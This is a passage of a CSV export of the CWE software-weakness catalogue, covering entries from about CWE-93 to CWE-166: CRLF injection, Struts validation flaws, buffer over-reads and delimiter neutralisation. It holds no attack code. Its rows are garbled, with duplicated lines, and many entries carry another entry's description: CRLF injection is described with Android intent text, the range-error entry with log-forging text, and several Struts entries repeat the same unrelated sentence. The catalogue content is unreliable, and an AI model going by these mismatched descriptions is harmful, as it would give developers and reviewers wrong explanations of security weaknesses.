714714 Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.
715715 Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.",,high,"Top 25 Series - Rank 6 - Reliance on Untrusted Inputs in a Security Decision: http://blogs.sans.org/appsecstreetfighter/2010/03/05/top-25-series-rank-6-reliance-on-untrusted-inputs-in-a-security-decision/
716716 HMAC: http://en.wikipedia.org/wiki/Hmac
717717 Understanding ASP.NET View State: http://msdn.microsoft.com/en-us/library/ms972976.aspx
718 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI"
718 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI"
719719 CWE-93,Improper Neutralization of CRLF Sequences (CRLF Injection) (Type: Base),"The software uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
720 Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data.",,high,CRLF Injection: http://marc.info/?l=bugtraq&m=102088154213630&w=2
720 Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data.",,high,CRLF Injection: http://marc.info/?l=bugtraq&m=102088154213630&w=2
721721 CWE-102,Struts: Duplicate Validation Forms (Type: Variant),"The application uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.
722 If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.",,unclassified,
722 If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.",,unclassified,
723723 CWE-103,Struts: Incomplete validate() Method Definition (Type: Variant),"The application has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().
724 If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.",,unclassified,
724 If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.",,unclassified,
725725 CWE-104,Struts: Form Bean Does Not Extend Validation Class (Type: Variant),"If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.
726 If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.",,unclassified,
726 If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.",,unclassified,
727727 CWE-105,Struts: Form Field Without Validator (Type: Variant),"The application has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.
728 If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.",,unclassified,
728 If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.",,unclassified,
729729 CWE-106,Struts: Plug-in Framework not in Use (Type: Variant),"When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.
730 If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.",,unclassified,
730 If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.",,unclassified,
731731 CWE-107,Struts: Unused Validation Form (Type: Variant),"An unused validation form indicates that validation logic is not up-to-date.
732 It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.",,unclassified,
732 It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.",,unclassified,
733733 CWE-108,Struts: Unvalidated Action Form (Type: Variant),"Every Action Form must have a corresponding validation form.
734 If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.",,unclassified,
734 If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.",,unclassified,
735735 CWE-109,Struts: Validator Turned Off (Type: Variant),"Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.
736 If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.",,unclassified,
736 If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.",,unclassified,
737737 CWE-11,ASP.NET Misconfiguration: Creating Debug Binary (Type: Variant),"Debugging messages help attackers learn about the system and plan a form of attack.
738 ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.",,unclassified,
738 ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.",,unclassified,
739739 CWE-110,Struts: Validator Without Form Field (Type: Variant),"Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.
740 It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.",,unclassified,
740 It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.",,unclassified,
741741 CWE-111,Direct Use of Unsafe JNI (Type: Base),"When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.
742742 Many safety features that programmers may take for granted simply do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.",,unclassified,"Fortify Descriptions: http://vulncat.fortifysoftware.com
743 The Java(TM) Tutorial: The Java Native Interface: http://java.sun.com/docs/books/tutorial/native1.1/"
743 The Java(TM) Tutorial: The Java Native Interface: http://java.sun.com/docs/books/tutorial/native1.1/"
744744 CWE-112,Missing XML Validation (Type: Base),"The software accepts XML from an untrusted source but does not validate the XML against the proper schema.
745 Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.",,unclassified,
745 Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.",,unclassified,
746746 CWE-113,Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Response Splitting) (Type: Base),"The software receives data from an upstream component, but does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.
747747 Including unvalidated data in an HTTP header allows an attacker to specify the entirety of the HTTP response rendered by the browser. When an HTTP request contains unexpected CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters the server may respond with an output stream that is interpreted as two different HTTP responses (instead of one). An attacker can control the second response and mount attacks such as cross-site scripting and cache poisoning attacks.
748748 HTTP response splitting weaknesses may be present when:
749749 Data enters a web application through an untrusted source, most frequently an HTTP request.
750750 The data is included in an HTTP response header sent to a web user without being validated for malicious characters.",,unclassified,"OWASP TOP 10: http://www.owasp.org/index.php/Top_10_2007
751 24 Deadly Sins of Software Security: ""Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)."" Page 31"
751 24 Deadly Sins of Software Security: ""Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)."" Page 31"
752752 CWE-114,Process Control (Type: Base),"Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.
753 Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.",,unclassified,
753 Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.",,unclassified,
754754 CWE-115,Misinterpretation of Input (Type: Base),"The software misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.
755 Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.",,unclassified,
755 Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.",,unclassified,
756756 CWE-118,Improper Access of Indexable Resource (Range Error) (Type: Class),"The software does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.
757757 This can allow an attacker to forge log entries or inject malicious content into logs.
758758 Log forging vulnerabilities occur when:
759759 Data enters an application from an untrusted source.
760 The data is written to an application or system log file.",,unclassified,
760 The data is written to an application or system log file.",,unclassified,
761761 CWE-12,ASP.NET Misconfiguration: Missing Custom Error Page (Type: Variant),"An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.
762762 Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.
763763 As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.",,unclassified,"19 Deadly Sins of Software Security
764 ASP.NET Misconfiguration: Missing Custom Error Handling: http://www.owasp.org/index.php/ASP.NET_Misconfiguration:_Missing_Custom_Error_Handling"
764 ASP.NET Misconfiguration: Missing Custom Error Handling: http://www.owasp.org/index.php/ASP.NET_Misconfiguration:_Missing_Custom_Error_Handling"
765765 CWE-125,Out-of-bounds Read (Type: Base),"The software reads data past the end, or before the beginning, of the intended buffer.
766 This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89"
766 This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89"
767767 CWE-126,Buffer Over-read (Type: Variant),"The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.
768 This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.",,unclassified,
768 This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.",,unclassified,
769769 CWE-127,Buffer Under-read (Type: Variant),"The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.
770 This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.",,unclassified,
770 This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.",,unclassified,
771771 CWE-13,ASP.NET Misconfiguration: Password in Configuration File (Type: Variant),"Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.
772772 This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.",,unclassified,"How To: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI: http://msdn.microsoft.com/en-us/library/ms998280.aspx
773773 How To: Encrypt Configuration Sections in ASP.NET 2.0 Using RSA: http://msdn.microsoft.com/en-us/library/ms998283.aspx
774 .NET Framework Developer's Guide - Securing Connection Strings: http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx"
774 .NET Framework Developer's Guide - Securing Connection Strings: http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx"
775775 CWE-130,Improper Handling of Length Parameter Inconsistency (Type: Variant),"The software parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.
776 If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.",,unclassified,
776 If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.",,unclassified,
777777 CWE-132,DEPRECATED (Duplicate): Miscalculated Null Termination (Type: Base),"This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.
778 If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.",,unclassified,
778 If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.",,unclassified,
779779 CWE-135,Incorrect Calculation of Multi-Byte String Length (Type: Base),"The software does not correctly calculate the length of strings that can contain wide or multi-byte characters.
780 If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.",,unclassified,"Writing Secure Code: Chapter 5, ""Unicode and ANSI Buffer Size Mismatches"" Page 153"
780 If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.",,unclassified,"Writing Secure Code: Chapter 5, ""Unicode and ANSI Buffer Size Mismatches"" Page 153"
781781 CWE-138,Improper Neutralization of Special Elements (Type: Class),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.
782 Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If software does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol < (""less than"") as meaning ""read input from a file"".",,unclassified,
782 Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If software does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol < (""less than"") as meaning ""read input from a file"".",,unclassified,
783783 CWE-14,Compiler Removal of Code to Clear Buffers (Type: Base),"Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka ""dead store removal.""
784784 This compiler optimization error occurs when:
785785 1. Secret data are stored in memory.
787787 3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.",,unclassified,"Writing Secure Code: Chapter 9, ""A Compiler Optimization Caveat"" Page 322
788788 When scrubbing secrets in memory doesn't work: http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html
789789 Some Bad News and Some Good News: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure10102002.asp
790 GNU GCC: Optimizer Removes Code Necessary for Security: http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-11/0257.html"
790 GNU GCC: Optimizer Removes Code Necessary for Security: http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-11/0257.html"
791791 CWE-140,Improper Neutralization of Delimiters (Type: Base),"The software does not neutralize or incorrectly neutralizes delimiters.
792792 This compiler optimization error occurs when:
793793 1. Secret data are stored in memory.
794794 2. The secret data are scrubbed from memory by overwriting its contents.
795 3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.",,unclassified,
795 3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.",,unclassified,
796796 CWE-141,Improper Neutralization of Parameter/Argument Delimiters (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component.
797797 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408.
798 The Art of Software Security Assessment: Chapter 10, ""IFS"", Page 604."
798 The Art of Software Security Assessment: Chapter 10, ""IFS"", Page 604."
799799 CWE-142,Improper Neutralization of Value Delimiters (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component.
800 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408."
800 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408."
801801 CWE-143,Improper Neutralization of Record Delimiters (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component.
802 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408."
802 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408."
803803 CWE-144,Improper Neutralization of Line Delimiters (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.
804 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408."
804 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408."
805805 CWE-145,Improper Neutralization of Section Delimiters (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.
806806 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.
807 One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408."
807 One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408."
808808 CWE-146,Improper Neutralization of Expression/Command Delimiters (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.
809 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408."
809 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Embedded Delimiters"", Page 408."
810810 CWE-147,Improper Neutralization of Input Terminators (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.
811 For example, a ""."" in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.",,unclassified,
811 For example, a ""."" in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.",,unclassified,
812812 CWE-148,Improper Neutralization of Input Leaders (Type: Variant),"The application does not properly handle when a leading character or sequence (""leader"") is missing or malformed, or if multiple leaders are used when only one should be allowed.
813 For example, a ""."" in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.",,unclassified,
813 For example, a ""."" in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.",,unclassified,
814814 CWE-149,Improper Neutralization of Quoting Syntax (Type: Variant),"Quotes injected into an application can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.
815 For example, a ""."" in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.",,unclassified,
815 For example, a ""."" in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.",,unclassified,
816816 CWE-15,External Control of System or Configuration Setting (Type: Base),"One or more system settings or configuration elements can be externally controlled by a user.
817 Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.",,unclassified,
817 Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.",,unclassified,
818818 CWE-150,"Improper Neutralization of Escape, Meta, or Control Sequences (Type: Variant)","The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.
819 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,
819 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,
820820 CWE-151,Improper Neutralization of Comment Delimiters (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.
821 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,
821 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,
822822 CWE-152,Improper Neutralization of Macro Symbols (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.
823 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,
823 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,
824824 CWE-153,Improper Neutralization of Substitution Characters (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component.
825 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,
825 As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.",,unclassified,
826826 CWE-154,Improper Neutralization of Variable Name Delimiters (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.
827 As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: ""$"" for an environment variable.",,unclassified,
827 As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: ""$"" for an environment variable.",,unclassified,
828828 CWE-155,Improper Neutralization of Wildcards or Matching Symbols (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.
829 As data is parsed, an injected element may cause the process to take unexpected actions.",,unclassified,
829 As data is parsed, an injected element may cause the process to take unexpected actions.",,unclassified,
830830 CWE-156,Improper Neutralization of Whitespace (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component.
831 This can include space, tab, etc.",,unclassified,
831 This can include space, tab, etc.",,unclassified,
832832 CWE-157,Failure to Sanitize Paired Delimiters (Type: Variant),"The software does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.
833 This can include space, tab, etc.",,unclassified,
833 This can include space, tab, etc.",,unclassified,
834834 CWE-158,Improper Neutralization of Null Byte or NUL Character (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.
835 As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""NUL Character Injection"", Page 411."
835 As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""NUL Character Injection"", Page 411."
836836 CWE-159,Failure to Sanitize Special Element (Type: Class),"Weaknesses in this attack-focused category do not properly filter and interpret special elements in user-controlled input which could cause adverse effect on the software behavior and integrity.
837 As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.",,unclassified,
837 As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.",,unclassified,
838838 CWE-160,Improper Neutralization of Leading Special Elements (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
839 As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
839 As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
840840 CWE-161,Improper Neutralization of Multiple Leading Special Elements (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
841 As data is parsed, improperly handled multiple leading special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
841 As data is parsed, improperly handled multiple leading special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
842842 CWE-162,Improper Neutralization of Trailing Special Elements (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
843 As data is parsed, improperly handled trailing special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
843 As data is parsed, improperly handled trailing special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
844844 CWE-163,Improper Neutralization of Multiple Trailing Special Elements (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
845 As data is parsed, improperly handled multiple trailing special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
845 As data is parsed, improperly handled multiple trailing special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
846846 CWE-164,Improper Neutralization of Internal Special Elements (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
847 As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
847 As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
848848 CWE-165,Improper Neutralization of Multiple Internal Special Elements (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
849 As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
849 As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
850850 CWE-166,Improper Handling of Missing Special Element (Type: Base),"The software receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.
851 As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
851 As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
